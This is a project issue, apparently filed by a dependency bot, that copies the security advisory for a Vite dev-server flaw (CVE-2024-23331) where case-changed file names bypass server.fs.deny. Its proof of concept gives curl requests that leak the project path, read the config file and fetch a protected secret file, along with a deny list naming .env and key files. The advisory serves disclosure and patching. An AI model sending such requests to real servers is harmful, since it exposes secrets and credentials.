Vite dev server option server.fs.deny can be bypassed when hosted on case-insensitive filesystem #45

New Issue

2024-01-20T04:48:44Z

argoyle commented

2024-01-20 04:48:44 +00:00

(Migrated from gitlab.com)

⚠️ dependabot-gitlab has detected security vulnerability for vite in path: /, manifest_file: /package.json but was unable to update it! ⚠️

https://github.com/advisories/GHSA-c24v-8rfc-w8vw

Package	Severity	Affected versions	Patched versions	IDs
vite (NPM)	HIGH	>= 4.0.0, <= 4.5.1	4.5.2	`GHSA-c24v-8rfc-w8vw`,`CVE-2024-23331`

Description

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
Created dummy secret files, e.g. custom.secret and production.pem
Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

References

⚠️ `dependabot-gitlab` has detected security vulnerability for `vite` in path: `/`, manifest_file: `/package.json` but was unable to update it! ⚠️ * https://github.com/advisories/GHSA-c24v-8rfc-w8vw | Package | Severity | Affected versions | Patched versions | IDs | |------------|----------|--------------------|------------------|----------------------------------------| | vite (NPM) | HIGH | >= 4.0.0, <= 4.5.1 | 4.5.2 | `GHSA-c24v-8rfc-w8vw`,`CVE-2024-23331` | # Description ### Summary [Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. ### Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17 ### Details Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632 By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. ### PoC **Setup** 1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. - `npm run dev -- --host 0.0.0.0` - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. `custom.secret` and `production.pem` 3. Populated `vite.config.js` with ```javascript export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } } ``` **Reproduction** 1. `curl -s http://20.12.242.81:5173/@fs//` - Descriptive error page reveals absolute filesystem path to project root 2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js` - Discoverable configuration file reveals locations of secrets 3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT` - Secrets are directly accessible using case-augmented version of filename **Proof** ![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png) ### Impact **Who** - Users with exposed dev servers on environments with case-insensitive filesystems **What** - Files protected by `server.fs.deny` are both discoverable, and accessible # References * https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw * https://nvd.nist.gov/vuln/detail/CVE-2023-34092 * https://nvd.nist.gov/vuln/detail/CVE-2024-23331 * https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691 * https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5 * https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278 * https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb * https://vitejs.dev/config/server-options.html#server-fs-deny * https://github.com/advisories/GHSA-c24v-8rfc-w8vw

argoyle (Migrated from gitlab.com) closed this issue

2024-02-03 04:48:12 +00:00

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Reference: dancefinder/dancefinder-app#45

Vite dev server option server.fs.deny can be bypassed when hosted on case-insensitive filesystem #45